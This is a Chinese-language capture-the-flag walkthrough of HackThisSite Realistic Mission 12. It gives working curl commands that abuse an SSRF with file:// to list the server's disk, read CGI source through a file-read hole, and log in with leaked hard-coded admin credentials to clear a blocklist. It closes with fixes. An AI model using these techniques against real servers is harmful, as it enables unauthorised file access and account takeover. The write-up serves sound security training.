Challenge
Schools are supposed to prepare students for the outside world, but how can they do this if students are kept from everything by overly-protective administrators? Clear the blocked site list and help fight censorship in public schools.
学校本该让学生接触外面的世界,但过度保护的网管把一切都挡在外面。目标是清空被封锁的站点列表(
blocked.txt)。
入口 /missions/realistic/12/ 是一个 meta refresh,跳到 cgi-bin/internet.pl(一个模拟的”浏览器”,把地址栏内容塞进 iframe)。
Solution
Recon:
internet.pl把整个 QUERY_STRING 先 unescape 再 escape,拼成<iframe src="page.pl?$url">,所以page.pl收到的 query string 就是”要访问的 URL”本身,没有独立参数名。page.pl在服务端用 LWP 抓取该 URL 并回显响应:这是个 SSRF 代理;抓取前逐行读blocked.txt,用正则/$line/i匹配 URL,命中就返回 Blocked 页。- LWP 支持
file://,于是page.pl?file:///C:/直接返回 C 盘目录列表。目录返回列表,单个文件返回Location: <url>文本。
Step 1: 从模拟浏览器里反推协议
两个 CGI 的源码通过 guest.pl 读到(见 Step 3)。internet.pl 的关键逻辑:
my $url = $ENV{'QUERY_STRING'};$url = uri_unescape($url);$url = uri_escape($url);print "...<iframe src=\"page.pl?$url\" width=100% height=90%>This browser doesn\'t support IFRAMES.</iframe>...";page.pl 的关键逻辑:
my $url = $ENV{QUERY_STRING};$url = uri_unescape($url);$url =~ s/^url=//i;if (length($url) == 0 || $url eq "http://" || $url eq "/"){ $url = "../main.html";}my $line;open(blocked, "<blocked.txt") or print "Content-Type: text/plain\r\n\r\nFailed to load blocked.txt" and exit;while ($line = <blocked>){ chomp($line); if ($url =~ /$line/i) { print "Content-Type: text/html\r\n\r\n<html><head><title>Blocked</title></head>..." and exit; }}close(blocked);
my $browser = LWP::UserAgent->new(agent => "Bardus Browser v1.0");my $request = HTTP::Request->new('GET', $url);my $response = $browser->request($request);print "Content-Type: ".$response->content_type."\r\n\r\n".$response->content;黑名单检查只存在于 page.pl,而且只是对 URL 做不区分大小写的正则匹配;$url 未经任何协议白名单限制,直接交给 LWP。用 file:// 协议即可让服务器自己读自己的文件系统:
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/"<html><head><title>Index of file://c:/</title></head><body><h1>Index of file:///c:/</h1><hr/><table>...AUTOEXEC.BAT ... COMMAND.COM ... CONFIG.SYS ... Program Files ... WINDOWS ... WEB ...Step 2: 目录枚举,摸清黑名单
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/"Index of file:///c:/web : HTML/ Perl/ cgi-bin/ HTTP.EXE
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/cgi-bin/"<html><head><title>Blocked</title></head><body ...>This Page is Blocked ... Heartland Technology Departmentcgi-bin、Perl 两个目录名命中黑名单里的 cgi、perl 关键字。但站点真实根目录就是 C:/WEB/HTML,直接走 HTTP 请求(完全不经 page.pl)不受黑名单约束:
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html"<html><head><title>Heartland School District - Administrator Panel</title></head><body bgcolor="#204090" text="#cccccc" background="back.gif" link="#204090" alink="#204090" vlink="#204090"><form action="cgi-bin/heartlandadminpanel.pl" method=get>username: <input type="text" value="" name="username"><br>password: <input type="password" value="" name="password"><br><input type="submit" value="submit"></form></body></html>Step 3: guest.pl 任意文件读,拿到源码
guest.pl 有 read / write 两个 action。write 往 guestbook.txt 追加(这个留言板本身就是个漏洞),read 直接 open("<$file"),只过滤 .. 和首字符 /,也就是可以读 cgi-bin 同目录下的任意文件:
if ($arg =~ /^file=/){ $file = $arg; $file =~ s/^file=//g; if ($file =~ /\.\./ | $file =~ /^\//) { print "Access denied." and exit; } $file = uri_unescape($file); $file =~ s/<|>|\||\&|;//g;}# (text= 分支只是把留言文本转义后写入 guestbook.txt,与本题无关)if ($action eq "read"){ open(file, "<$file") or print "File not found." and exit; while ($line = <file>) { print $line; } close(file);}黑名单只挡 page.pl 的浏览,不管 guest.pl 的文件读,所以管理员脚本源码直接暴露:
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl"#!perluse strict;print "Content-type: text/html\r\n\r\n";require "db.cgi";my $line;
if ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator&blocked=/){ clearlist();}elsif ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator/){ print "<html><head><title>Heartland School District Network Administrator</title></head> <body bgcolor=\"#204090\" ...> <div align=\"center\"> <form action=\"heartlandadminpanel.pl\" method=get> <input type=\"hidden\" name=\"username\" value=\"jbardus\"> <input type=\"hidden\" name=\"password\" value=\"heartlandnetworkadministrator\">12 collapsed lines
<input type=\"hidden\" name=\"blocked\" value=\"\"> <select multiple name=\"blocked\" size=15 style=\"width:400px;\">"; open(file, "blocked.txt") or print "Failed to load blocked.txt"; while ($line = <file>) { chomp($line); print "<option>$line</option>\n"; } close(file); print "</select><br><br> <input type=\"button\" value=\"add site\"> <input type=\"button\" value=\"edit\"> <input type=\"button\" value=\"delete\"> <input type=\"submit\" value=\"clear all\"> </form></div></body></html>";}else{ print "Invalid Username / Password";}源码把整条通关路径写死了:硬编码凭据 + 前缀匹配决定行为。
QUERY_STRING以username=jbardus&password=heartlandnetworkadministrator&blocked=开头 → 调用clearlist()(真正的通关动作);- 只以
username=...&password=...开头 → 渲染面板,把blocked.txt逐行读进<option>; - 其它 →
Invalid Username / Password。
注意这是前缀匹配(^,无结尾锚点),所以 blocked= 后面跟任意值都会触发清空。
Step 4: 登录面板确认黑名单内容
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator"<select multiple name="blocked" size=15 style="width:400px;"><option>perl</option><option>cgi</option><option>game</option><option>bonus</option><option>\\.exe</option><option>zip</option><option>php</option><option>sex</option><option>bitch</option><option>shit</option><option>monkey</option><option>mofo</option><option>mess</option><option>sucks</option><option>mail</option><option>fuck</option><option>damn</option><option>hell</option>49 collapsed lines
<option>crap</option><option>poo</option><option>new</option><option>search</option><option>txt</option><option>text</option><option>onion</option><option>slashdot</option><option>porn</option><option>pron</option><option>p0rn</option><option>pr0n</option><option>drug</option><option>hack</option><option>mad</option><option>best</option><option>goo</option><option>alta</option><option>asta</option><option>google</option><option>yahoo</option><option>msn</option><option>apple</option><option>mac</option><option>linux</option><option>mozilla</option><option>war</option><option>ground</option><option>open</option><option>source</option><option>info</option><option>party</option><option>erowid</option><option>forum</option><option>aclu</option><option>totse</option><option>dem</option><option>kaz</option><option>ftp</option><option>anar</option><option>ip</option><option>dns</option><option>\\.biz</option><option>\\.co\\.uk</option><option>\\.fr</option><option>geo</option><option>tri</option><option>1</option><option>2</option><option>3</option><option>4</option><option>5</option><option>6</option><option>7</option><option>8</option><option>9</option><option>10</option>共 75 条。这条黑名单不是精确匹配,而是不区分大小写的正则,而且最后一组是裸数字,任何含数字的 URL 都会被拦。对照实验:file:///C:/WINDOWS/Bubbles.bmp(无数字、无关键词)正常返回 Location:,而 file:///C:/WINDOWS/CMD640X.SYS(含 640)直接命中 Blocked。同理 hack 条目把 HTS 自己的域名也一起封了:page.pl?http://www.hackthissite.org/missions/realistic/ 同样是 Blocked。黑名单封得过宽,连正常路径都一起封,所以 page.pl 这条路基本走不通,只能走 guest.pl 和直连 HTTP。
面板表单里的 <input type="hidden" name="blocked" value=""> 就是”clear all”提交时要带上的空值字段。
Step 5: 清空黑名单并验证
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator&blocked="<iframe src="mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator" style="width:80%; height:40%; border:0px #ffffff solid;"></iframe>clearlist() 不回显成功文案,而是吐出指向 mission-accomplished.php 的 iframe。跟进这个 completion 页面:
$ curl -s -L -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator"<center><div style="width:80%"><div class="dark-td"><h2>Congratulations</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 12<br /></div></div></center>服务端确认后重新拉取 profile:Realistic 列表出现 (12),积分 1976 → 2186(+210),任务列表该条目变为 “You have already completed this level!”。
关键陷阱:
page.pl?file:///C:/WEB/cgi-bin/被黑名单挡住(cgi在表里),但换成CGI-BIN、cgi-bin/.、cgi-bin%2f全部仍然被拦:黑名单是不区分大小写的正则,编码绕过无效。真正的绕过是不走 page.pl:直接 HTTP 请求站点根目录下的静态文件,没有任何组件再过黑名单。page.pl对目录回显列表、对文件回显Location: <url>文本,不是文件内容。读文件要用guest.pl?action=read,或者直接 HTTP 猜路径(C:/WEB/HTML/x↔/missions/realistic/12/x)。blocked.txt本身用guest.pl?action=read&file=blocked.txt读不到(File not found.),只能通过管理员面板的<option>渲染出来。
Vulnerabilities
- SSRF / 本地文件读取:
page.pl把用户输入当作完整 URL 交给 LWP,没有任何协议或主机白名单,file://让服务器替攻击者读自己的文件系统。 - 任意文件读(源码泄露):
guest.pl?action=read只拦..和开头/,同目录下所有 CGI 源码(含硬编码凭据)可读。 - 黑名单是错误的安全边界:过滤词表(
cgi、perl、php、zip…)以正则匹配 URL,只在一个组件里生效,且不影响静态文件直连;过滤词表本身还泄露在管理员页面里。 - 硬编码凭据 + 前缀正则判定权限:
username=jbardus&password=...直接写在源码和隐藏字段里,权限判定用无结尾锚点的^前缀匹配,多余参数不影响判定。
修复方向:URL 只允许明确的 http(s) 白名单主机并由服务端重新解析;文件读取用固定的资源 id 映射而不是拼路径;凭据放服务端配置并哈希存储,权限用会话而不是请求参数;过滤/权限逻辑必须在所有入口统一执行,不能只挂在某一个 CGI 上。